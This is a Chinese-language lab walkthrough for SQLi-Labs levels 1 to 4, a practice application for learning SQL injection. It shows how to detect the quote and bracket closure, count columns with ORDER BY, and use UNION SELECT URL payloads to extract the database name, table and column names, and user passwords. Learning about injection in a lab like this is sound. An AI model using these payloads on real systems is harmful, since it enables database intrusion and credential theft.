SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。
Less 1
SQLI DUMB SERIES-1
1. 判断闭合方式:在参数后面加\的方法判断闭合,\后面的符号就是闭合符号。在第一关,闭合方式通常为单引号闭合。
2. 判断字段数:使用order by语句来确定表中的列数。例如,输入id=1' order by 3--+,如果页面回显正常,说明存在三个字段。
3. 判断是否为字符型注入:尝试输入id=1',如果页面报错,说明是字符型注入。
4. 拼接字符串并确定注入点:使用and '1'='1'来进一步验证注入点,并观察页面回显是否正常。
字段数量
尝试输入ID,可以正常显示。
继续输入单引号,异常显示:
http://sqli-labs.com/Less-1/?id=1%27
直接返回了SQL的语法错误,那么明显语句中有利用单引号'
来作为字符型闭合符号。
可以选择直接把后面的语句注释掉,?id=1'--+
使用orderby 语句判断查询字段数量
http://sqli-labs.com/Less-1/?id=1%27%20order%20by%203--+
可以知道结果为3时数据正常返回,意味着此次查询有3个字段。
在 MySQL 中,当你在 ORDER BY 子句中使用数字(如 ORDER BY 3),你实际上是在引用查询结果集中的列的位置,而不是列的名称。
数字引用是基于 SELECT 语句中列的顺序。如果你改变了 SELECT 语句中的列顺序,那么数字引用也会相应地改变。
ORDER BY 3 是根据查询结果集中的第三列进行排序的。如果你尝试引用一个不存在的列位置,MySQL 会抛出一个错误。
如果你在 SELECT 语句中使用了别名,并且想在 ORDER BY 中使用这个别名,你不能使用数字引用。你必须使用别名本身。
判断注入点
这个代码实际上在数据库中的显示为:
SELECT * FROM users WHERE id='1' union select 1,2,3;--+' LIMIT 0,1
可以看到实际上是查到了数据,只是联结在了后面,我可以通过排序等方式让数据显示出来,在这里只需要不把数据查出来即可,如此便把ID改为-1:
可以看到想要的数据直接显示出来了,实际SQL查到的数据如下:
SELECT * FROM users WHERE id='-1' union select 1,2,3;--+' LIMIT 0,1;
如此我们便可以在2、3注入数据。
获取数据
- 获取用户名和数据库名
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,user(),database();--+
2. 获取该数据库所有的表名
group_concat()函数:按照指定字段分组,将满足条件的行转列,可指定分隔符将所有满足条件的字符串连接成一个字符串,separator缺省时默认为","
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();--+
3. 获取Users表中的所有字段名
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database();--+
4. 获取用户的密码
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(password)%20from%20users;--+
Less 2
SQLI DUMB SERIES-2
1. 进入第二关后,首先可以判断这是一个基于GET请求的注入点,需要在URL上拼接ID的值。
2. 尝试不同的ID值,观察显示的用户名和密码是否变化,以确认这两个地方的值与数据库进行交互。
3. 确定注入点后,可以开始查询数据库,如查找数据库下的所有表。
注入点
Less2的基本上与Less1的相同,只是不需要字符串的闭合符号。
获取数据
Less 3
SQLI DUMB SERIES-3
1. 判断注入点:输入id=1') --+,如果回显正常,说明存在括号闭合问题。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1') order by 3 --+,如果页面回显正常,但输入id=1') order by 4 --+时报错,说明当前数据表字段有3个。
3. 判断回显位置:使用union select语句来确定回显位置。
除了闭合函数不同,需要查找相同符号闭合外,基本一致。
注入点
尝试输入整型,显示正常。
继续尝试使用字符闭合符号,输入1'
报错了:
可以看到MySQL提示语法错误,在''1'') LIMIT 0,1
处的语句有错误。
从这个错误提示中可以看到该查询语句应是不字符闭合的基础上,还加上了括号。
那么我们也加上括号试试。
http://sqli-labs.com/Less-3/?id=1%27)--+
能正常执行就代表通过了,接下来继续判断字段数量:
http://sqli-labs.com/Less-3/?id=1%27)%20order%20by%203--+
获取数据
Less 4
SQLI DUMB SERIES-4
1. 判断注入点:首先输入id=1 --+查看正常回显状态,然后尝试输入id=1' --+和双引号等,观察报错信息,以确定注入点类型(如双引号和括号闭合问题)。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1") order by 3 --+,如果回显正常但输入id=1") order by 4 --+时报错,说明当前表的字段数只有3个。
3. 根据确定的注入点和字段数,进行进一步的SQL注入攻击。
注入点
经测试当输入"
时会报错,则尝试使用此作为闭合符号:
但同样提示报错,并把源SQL语句报了出来,可见还是需要)
进一步闭合语句,那么再加上这个右括号。
http://sqli-labs.com/Less-4/?id=1%22
还是提示报错,但与之前不同的是原本的"1"
已经不报错了,是后面的语句衔接有问题。
http://sqli-labs.com/Less-4/?id=1%22)
现在再注释的符号加上,再输入执行就能发现现在代码执行成功了:
http://sqli-labs.com/Less-4/?id=1%22)%20--+
注入
拉下来就是常规获取数据库名、表名、表字段、表信息。不再缀述。